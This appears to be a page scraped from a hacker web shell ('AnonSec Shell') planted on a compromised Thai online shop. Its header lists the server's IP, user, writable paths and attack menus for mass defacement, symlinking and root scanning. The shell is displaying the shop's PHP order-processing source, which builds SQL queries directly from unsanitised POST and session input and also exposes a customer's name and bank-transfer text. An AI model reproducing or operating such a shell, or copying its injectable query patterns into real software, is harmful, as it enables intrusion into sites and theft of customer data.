AnonSec Shell
Server IP : 104.21.37.246  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/homhuan.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/homhuan.com/cart/add_order_old.php
<?php require_once("../include/class.php");?>
<?php

/*echo '../error/index.php';
exit;*/

/*echo 'order_true.php?id=117';
exit;*/

/*echo '<pre>';
print_r($_POST);
echo '</pre>';*/

/*echo '<pre>';
print_r($_SESSION);
echo '</pre>';

echo $mobile = $_SESSION['ship_addr']["phone"];
echo $mobile = (int)$mobile;
exit;*/

$date = date("Y-m-d H:i:s");


$sql = array('table'=>'ship_addr','count'=>'MAX(SAid) AS max_id','where'=>"");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$SA_id = $row['max_id']+1;

$list = array
(
	'table'=>'ship_addr',
	'SAid'=>"'".$SA_id."'",
	'SAfname'=>"'".$_SESSION['ship_addr']['name']."'",
	'SAlname'=>"'".$_SESSION['ship_addr']['lastname']."'",
	'SAaddr'=>"'".$_SESSION['ship_addr']['address']."'",
	'SAstate'=>"'".$_SESSION['ship_addr']['province']."'",
	'SAzip'=>"'".$_SESSION['ship_addr']['zip']."'",
	'phone'=>"'".$_SESSION['ship_addr']['phone']."'",
	'mail'=>"'".$_SESSION['ship_addr']['mail']."'",
	'SAdate'=>"'".$date."'"
);

$add1 = $actiondata_db->add_db($list);


//print_r($add1);
$Oid_id =  $order_class->orders_runid();

/*$sql = array('table'=>'orders','count'=>'MAX(Oid) AS max_id','where'=>"");
$view_sql = $view_db->view($sql);
$row = $view_db->q($view_sql);
$Oid_id = $row['max_id']+1;	*/

$discount_tb='';
$discount_count =  count($_SESSION['discount']) - 1;
$i=0;
$discount_num_pm=0;
foreach($_SESSION['discount'] as $key => $value )//promotion
{
	if($discount_count == $i){ $together = '';}else{$together = '/';}
	$discount_id = $discount_id . $_SESSION['discount'][$key]['id'] .$together;

	$discount_amount = $discount_amount + $_SESSION['discount'][$key]['amount'];

	$list = array
	(
		'table'=>'orders_promotion',
		'id_order'=>"'".@$Oid_id."'",
		'id_promo'=>"'".$_SESSION['discount'][$key]['id']."'",
		'name'=>"'".$_SESSION['discount'][$key]['name']."'",
		'discount'=>"'".$_SESSION['discount'][$key]['amount']."'"
	);
	$add1 = $actiondata_db->add_db($list);




	$discount_tb = $discount_tb .
		'<tr>
			<td align="right" colspan="3">'.$_SESSION['discount'][$key]['name'].'</td>
			<td align="right">'.number_format($_SESSION['discount'][$key]['amount']).' บาท</td>
		</tr>';



	$i++;

}

foreach($_SESSION['cart'] as $key => $value )
{
	$Ototal_pro = $Ototal_pro + $_SESSION['cart'][$key]['price'];
}
$Ototal = $Ototal_pro + $_SESSION['shipping'] - $discount_amount;
$pmid = $_POST['pm_1'];
$sql_pm = array('table'=>'paymentmethod','where'=>"id = '".$pmid."'");
$view_pm = $view_db->view($sql_pm);
$row_pm = $view_db->q($view_pm);



$lem = strlen($Oid_id);
$num_lem = 11-$lem;
$num_0='';
for($i=1;$i<=$num_lem;$i++)
{
	$num_0 = $num_0.'0';
}
$ref = 'hom'.$num_0.$Oid_id;



$list = array(
			'table'=>'orders',
			'Oid'=>"'".@$Oid_id."'",
			//'Mid'=>"'".@$_SESSION["hom_id"]."'",//สมาชิก
			'SAid'=>"'".@$SA_id."'",
			'Oamount'=>"'".$Ototal_pro."'",
			'Odiscount'=>"'".$discount_amount."'",///ส่วนลด
			'Oshipprice'=>"'".$_SESSION['shipping']."'",
			'Ototal'=>"'".$Ototal."'",
			'Pmid'=>"'".$pmid."'",
			'Ostatus'=>"'New'",
			'Odate'=>"'".$date."'",
			'Olastdate'=>"'".$date."'"
		);

$add2 = $actiondata_db->add_db($list);



$num = 1;
$productlist_pho='';
foreach($_SESSION['cart'] as $key => $value )
{

	$sql = array('table'=>'product_size','where'=>"product_id = '".$_SESSION['cart'][$key]['id']."' AND size	= '".$_SESSION['cart'][$key]['sz']."'");
	$view_sql = $view_db->view($sql);
	$row = $view_db->q($view_sql);


	$list = array
	(
		'table'=>'order_detail',
		'ODid'=>'NULL',
		'ODqty'=>"'".$_SESSION['cart'][$key]['item']."'",
		'SPid'=>"'".$row['id']."'",
		'Pid'=>"'".$_SESSION['cart'][$key]['id']."'",
		'price'=>"'".$row['price']."'",
		'Pmid'=>"'".$pmid."'",
		'Oid'=>"'".$Oid_id."'",

	);
	$add3 = $actiondata_db->add_db($list);
	//print_r($add3);





	$sql_p = array('table'=>'product','where'=>"id = '".$_SESSION['cart'][$key]['id']."'");
	$view_p = $view_db->view($sql_p);
	$row_p = $view_db->q($view_p);

	$list_order = $list_order .
	' <tr>
		<td> #'.$row_p['code'] .' ' . $row_p['name'].'</td>
		<td>'.$_SESSION['cart'][$key]['sz'].'</td>
		<td>'.$_SESSION['cart'][$key]['item'].'</td>
		<td  align="right">'.$_SESSION['cart'][$key]['price'].'</td>
	  </tr>';
	 $price_pro = $_SESSION['cart'][$key]['price'];

	if($pmid==6)//payforU
	{
		if(isset($_SESSION['discount']))
		{
			foreach($_SESSION['discount'] as $key_d => $value_d )
			{
				$price_pro ='';
				if($_SESSION['cart'][$key]['promo_type'] == 2 || $_SESSION['cart'][$key]['promo_type'] == 3)
				{
					$sql_d = array('table'=>'promotion','where'=>"id = '".$_SESSION['discount'][$key_d]['id']."'");
					$view_d = $view_db->view($sql_d);
					$row_d = $view_db->q($view_d);

					if($row_d['id_pro_pm'] == $_SESSION['cart'][$key]['id'])
					{
						 $price_pro = $_SESSION['cart'][$key]['price'] - $_SESSION['discount'][$key_d]['amount'];
						 $productlist_pho = $productlist_pho
						  .'[hom'.$_SESSION['cart'][$key]['id'].';'
						  .$row_p['name'].$_SESSION['cart'][$key]['sz'].';'
						  .$_SESSION['cart'][$key]['item'].';'
						  .$price_pro.'00]';
					}
				}
				else
				{
					if($_SESSION['discount'][$key_d]['type'] == 1)
					{
						$sql_d = array('table'=>'promotion','where'=>"id = '".$_SESSION['discount'][$key_d]['id']."'");
						$view_d = $view_db->view($sql_d);
						$row_d = $view_db->q($view_d);

						$price_pro = ($_SESSION['cart'][$key]['price']*$row_d['discount'])/100;
						$price_pro = $_SESSION['cart'][$key]['price'] - $price_pro;

						 $productlist_pho = $productlist_pho
						  .'[hom'.$_SESSION['cart'][$key]['id'].';'
						  .$row_p['name'].$_SESSION['cart'][$key]['sz'].';'
						  .$_SESSION['cart'][$key]['item'].';'
						  .$price_pro.'00]';
					}
					else
					{
						$productlist_pho = $productlist_pho
						  .'[hom'.$_SESSION['cart'][$key]['id'].';'
						  .$row_p['name'].$_SESSION['cart'][$key]['sz'].';'
						  .$_SESSION['cart'][$key]['item'].';'
						  .$_SESSION['cart'][$key]['price'].'00]';
					}
				}
		    }
		}
		else
		{
			//echo  'no_Pro';
			$productlist_pho = $productlist_pho
			  .'[hom'.$_SESSION['cart'][$key]['id'].';'
			  .$row_p['name'].$_SESSION['cart'][$key]['sz'].';'
			  .$_SESSION['cart'][$key]['item'].';'
			  .$_SESSION['cart'][$key]['price'].'00]';
		}
	}

	if($pmid == 7 || $pmid == 8 || $pmid == 10)//mpay
	{
		if($row_p['code'])
		{
			$detailproduct_mpay = $detailproduct_mpay . '-'.$row_p['id'];
		}
	}


	$num++;



	//ตัด stock
	$stock_to = $row['stock'] - $_SESSION['cart'][$key]['item'];
	$stock_web = $row['stock_web'] + $_SESSION['cart'][$key]['item'];
	$list = array
	(
		'table'=>'product_size',
		'id'=>$row['id'],
		'stock'=>$stock_to,
		'stock_web'=>$stock_web

	);
	$add3 = $actiondata_db->edit_db($list);
	//print_r($add3);

}

$total_02 = number_format($Ototal,2,'','');
$amount = $total_02;
if($pmid==6)//payforU
{
	$sql_de = array('table'=>'shipping','where'=>"price = '".$_SESSION['shipping']."' AND status = 1");
	$view_de = $view_db->view($sql_de);
	$row_de = $view_db->q($view_de);

	//$productlist = '[S;'.$num.']'.$productlist_pho.'[shipping'.$row_de['id'].';'.$row_de['name'].';1;'.$_SESSION['shipping'].'00][E;'.$num.']';
	$productlist_shipi = '[shipping'.$row_de['id'].';'.$row_de['name'].';1;'.$_SESSION['shipping'].'00]';

	$num = $num + $discount_num_pm;
	$productlist = '[S;'.$num.']'.$productlist_pho.$productlist_shipi.'[E;'.$num.']';

}


$firstname = $_SESSION['ship_addr']['name'];
$lastname = $_SESSION['ship_addr']["lastname"];
$mobile = $_SESSION['ship_addr']["phone"];
$email = $_SESSION['ship_addr']["mail"];



/*echo '<pre>';
print_r($add1);
print_r($add2);
echo '</pre>';*/

if( $add1['suc'] == 1 && $add2['suc'] == 1)
{



	//ส่งเมล
			include("../include/mail.php");


			$to = $_SESSION['ship_addr']['mail'];
			$from = '[email protected]';
			$sub = 'ยืนยันการสั่งซื้อสินค้า';
			$today = date("d/m/Y");
			$alley = '';
			if($_SESSION['ship_addr']['alley']<>''){$alley =  'ซอย'.$_SESSION['ship_addr']['alley'];}
			$pm_text ='';
			if($row_pm['type']=='1')
			{

				$list_pm2 = array('table'=>'paymentmethod','where'=>'status = 1 AND type = 1','order'=> "ORDER BY id ASC");
				$view_pm2 = $view_db->view($list_pm2);
				$result_pm2 = $view_db->q_re($view_pm2);
				while($row_pm2 = $view_db->q_ro($result_pm2))
				{

					$pm_text = $pm_text.'<img src="../redbag/paymentmethod/'.$row_pm2['image'].'" width="250" align="center">&nbsp; <br>'.

					'<br> บัญชีธนาคาร : ธนาคารกรุงเทพ'.
					'<br> ชื่อบัญชี : '.$row_pm2['name'].'	&nbsp; '. $row_pm2['branch'].
					'<br> เลขที่บัญชี : '. $util_class->bank_cover($row_pm2['number']).
					'<br> ';


				}

				$pm_test = ' กรุณาโอนเงินเข้าบัญชีออมทรัพย์ ชื่อบัญชี น.ส. รัตนา วงศ์ศรีรุ่งเรื่อง<br>'.$pm_text;

			}

			$msg = '<br><br>
			เรียน ลูกค้าผู้มีอุปการคุณ<br>
			หอมหวลชุดปฏิบัติธรรมได้รับคำสั่งซื้อของท่านเป็นที่เรียบร้อยแล้ว <br>
			ขอบคุณที่ให้ความไว้วางใจในสินค้าของหอมหวลชุดปฏิบัติธรรมค่ะ<br><br><br><br>


			<b>ข้อมูลการสั่งซื้อสินค้า </b><br>'.
			'
				<table width="100%" border="0" class="tb_receipt">
				  <tr>
					<td align="right"><img src="../image/logo.png" width="188" class="img-responsive"></td>
				  </tr>
				  <tr>
					<td>เลขที่ใบสั่งซื้อ : #'.$Oid_id.'</td>
				  </tr>
				   <tr>
					<td>วันที่สั่งสินค้า : '.$today.'</td>
				  </tr>
				</table>
			'.
			'
			<div style="border:1px solid #FFF;margin-top:15px;">
			<table width="100%" border="0" class="tb_receipt">
			  <tr>
				<td>ที่อยู่สำหรับจัดส่งสินค้า</td>
			  </tr>
			   <tr>
				<td> คุณ '.$_SESSION['ship_addr']['name'] .' '. $_SESSION['ship_addr']['lastname'].'</td>
			  </tr>
			   <tr>
				<td>'.$_SESSION['ship_addr']['address'] .' '. $_SESSION['ship_addr']['province'] .' '. $_SESSION['ship_addr']['zipcode'].
				'</td>
			  </tr>
			  <tr>
				<td>โทรศัพท์ '.$util_class->phonenumber($_SESSION['ship_addr']['phone']).'</td>
			  </tr>
			</table>
			</div>
			<br><br>
			'.
			'
			<table width="100%" border="1" align="center" class="tb_cart table" cellpadding="5" cellspacing="0">
			  <tr align="center">
				<td>รายการสินค้า</td>
				<td>ขนาด</td>
				<td>จำนวน</td>
				<td>ราคา</td>
			  </tr>'.$list_order.
			  '
			  <tr>
				<td align="right" colspan="3">รวม</td>
				<td align="right">'.number_format($Ototal_pro).'  บาท</td>
			  </tr>
			  '.$discount_tb.'
			  <tr>
				<td align="right" colspan="3">ค่าจัดส่ง</td>
				<td align="right">'.number_format($_SESSION['shipping']).' บาท</td>
			  </tr>
			   <tr>
				<td align="right" colspan="3">ราคารวม</td>
				<td align="right">'.number_format($Ototal).' บาท</td>
			  </tr>
			</table>

			<br> <br>
			<div style="font-size: 25px;">
			'.$pm_test.'</div>';



			$body = $msg.$contact;
		//	exit;
			$mail->SetFrom($from, $from);
			$mail->AddReplyTo($from, $from);



			$mail->MsgHTML($body);
			$mail->Subject = 'หอมหวล ชุดปฏิบัติธรรม :: '.$sub;
			$mail->AddAddress($to); // ผู้รับ

			//$mail->AddAddress('[email protected]'); // ผู้รับ
			//$mail->AddAddress('[email protected]'); // ผู้รับ
			$mail->addBCC('[email protected]'); // ผู้รับ
			$mail->addBCC('[email protected]'); // ผู้รับ

			if(!$mail->Send())
			{
				//echo "<meta http-equiv=\"refresh\" content=\"0; url=../main/index.php?menu=7&&msg=2\">";
				echo "<br> Mailer Error: " . $mail->ErrorInfo;
				unset($_SESSION['er']);
				exit();
			}
			else
			{
				//echo "<meta http-equiv=\"refresh\" content=\"0; url=registertrue.php\">";


				unset($_SESSION['er']);
				unset($_SESSION['cart']);
				unset($_SESSION['num_cart']);
				unset($_SESSION['shipping']);
				unset($_SESSION['shipping_id']);
				unset($_SESSION['ship_addr']);
				unset($_SESSION['discount']);


				if($pmid == 1 || $pmid == 2 || $pmid == 3 || $pmid == 4 || $pmid == 11 || $pmid == 12)
				{
					//exit;//โอนเงิน ATM
					echo 'order_true.php?id='.$Oid_id;
					//exit;
					/*echo 'order_true.php?id=117';
					exit;	*/
					/*echo '<meta http-equiv="refresh" content="0;URL=order_true.php?id=<?php echo $Oid_id; ?>" />';*/
					/*?><meta http-equiv="refresh" content="0;URL=order_true.php?id=<?php echo $Oid_id; ?>" /><?php */
						//exit;
				}
				/*if($pmid==6)//PAYFORU /// ยังไม่ได้หักส่วนลด
				{
					$date = date('Y-m-d');
					/*echo $productlist;
					echo $amount;
					exit;*/
					/*?>
				   <form method='post' action="http://pay.onnud20.com/payment/payment.php" name="sendform">
                  <!-- <form method='post' action="http://localhost/payment/payment.php" name="sendform">-->
						<input type="hidden"  name='ref' value="<?php echo $ref ?>">
						<input type="hidden"  name='refdate' value="<?php echo $date?>">
						<input type="hidden"  name='productlist' value="<?php echo $productlist ?>">
						<input type="hidden"  name='amount' value="<?php echo $amount ?>">
						<input type="hidden"  name='firstname' value="<?php echo $firstname?>">
						<input type="hidden"  name='lastname' value="<?php echo $lastname?>">
						<input type="hidden"  name='mobile' value="<?php echo $mobile?>">
						<input type="hidden"  name='email' value="<?php echo $email?>">
				   <!-- <button onclick="document.sendform.submit();">Submit</button>-->
					</form>
					<script>document.sendform.submit();</script>
                    <?php /*
					exit;

				}*/
				if($pmid == 7 || $pmid == 8 || $pmid == 10)
				{
					include('mpay.php');
				}
			}
}
?>

Anon7 - 2022
AnonSec Team